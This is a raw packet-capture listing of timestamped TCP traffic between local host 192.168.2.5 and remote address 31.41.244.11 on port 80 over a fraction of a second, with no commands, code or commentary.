                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.100980997 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.101057053 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.101087093 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.103081942 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.103138924 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.103229046 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.103279114 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.105374098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.105432034 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.105505943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.105597973 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.107789040 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.107844114 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.107955933 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.108010054 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.109949112 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.110002995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.110078096 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.110131025 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.112164974 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.112232924 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.112309933 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.112363100 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.114448071 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.114500999 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.114564896 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.114629984 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.116767883 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.116826057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.116878986 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.116926908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.118987083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.119044065 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.119107008 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.119158983 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.121268988 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.121321917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.121383905 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.121437073 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.123534918 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.123590946 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.123653889 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.123706102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.125778913 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.125829935 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.125900030 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.125994921 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.128133059 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.128190994 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.128200054 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.128248930 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.130367994 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.130426884 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.130523920 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.130570889 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.132738113 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.132793903 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.132812977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.132844925 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.134917974 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.135015011 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.135030031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.135077953 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.137161970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.137276888 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.137295961 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.137343884 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.139414072 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.139477015 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.139574051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.139970064 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.141654015 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.141705990 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.141776085 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.141829014 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.143946886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.144037962 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.144073963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.144118071 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.147057056 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.147073984 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.147152901 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.148633957 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.148698092 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.148853064 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.148914099 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.150779009 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.150832891 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.150952101 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.151000023 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.153069973 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.153122902 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.227145910 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.227276087 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.227303982 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.227376938 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228076935 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228151083 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228379965 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228446960 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228532076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.228591919 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.230110884 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.230145931 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.230180979 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.230205059 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.231734037 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.231800079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.231910944 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.231971979 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.233457088 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.233522892 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.233603001 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.233660936 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.235173941 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.235239029 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.235375881 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.235440016 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.236927032 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.236993074 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.237071037 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.237133980 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.238493919 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.238594055 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.238679886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.238739967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.240264893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.240326881 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.240577936 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.240632057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.241796970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.241858959 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.241949081 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.242001057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.243560076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.243740082 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.243746042 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.243813038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.245012999 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.245075941 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.245328903 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.245387077 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.246489048 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.246546984 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.246793985 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.246848106 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.248189926 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.248255014 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.248497963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.248553038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.249758959 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.249835014 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.249918938 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.249974966 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.251537085 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.251573086 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.251594067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.251616955 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.252724886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.252791882 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.253037930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.253097057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.254336119 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.254391909 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.254477024 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.254532099 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.255947113 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.255983114 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.256000996 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.256031990 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.257369041 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.257431030 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.257510900 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.257561922 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.258714914 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.258778095 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259000063 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259053946 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259346008 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259380102 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259396076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.259490967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.260242939 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.260323048 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.260396957 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.260449886 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.261598110 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.261655092 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.261714935 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.261770010 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.263082027 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.263139963 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.263170958 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.263223886 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.264475107 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.264539957 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.264590979 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.264645100 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.265856028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.265908957 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.265983105 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.266037941 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.267292023 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.267345905 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.267410040 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.267466068 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.268661022 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.268721104 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.268826008 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.268879890 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.270076990 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.270186901 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.270235062 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.270287991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.271457911 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.271583080 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.271610022 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.271660089 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.272835970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.272897959 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.272980928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.273036957 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.274220943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.274277925 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.274344921 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.274405003 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.275588036 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.275645018 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.275728941 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.275787115 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.277003050 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.277065039 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.277127028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.277178049 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.278331995 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.278389931 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.278476954 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.278528929 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.279714108 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.279764891 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.279831886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.279882908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.281121016 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.281219959 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.281224012 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.281269073 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.282438993 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.282521963 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.282593012 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.282646894 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.283811092 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.283871889 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.283941031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.283992052 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.285171986 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.285231113 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.285304070 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.285360098 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.286537886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.286597013 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.286660910 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.286710978 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.287911892 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.287971973 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.288083076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.288142920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.289340973 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.289403915 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.289450884 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.289505005 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.290659904 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:11.290720940 CET4980180192.168.2.531.41.244.11
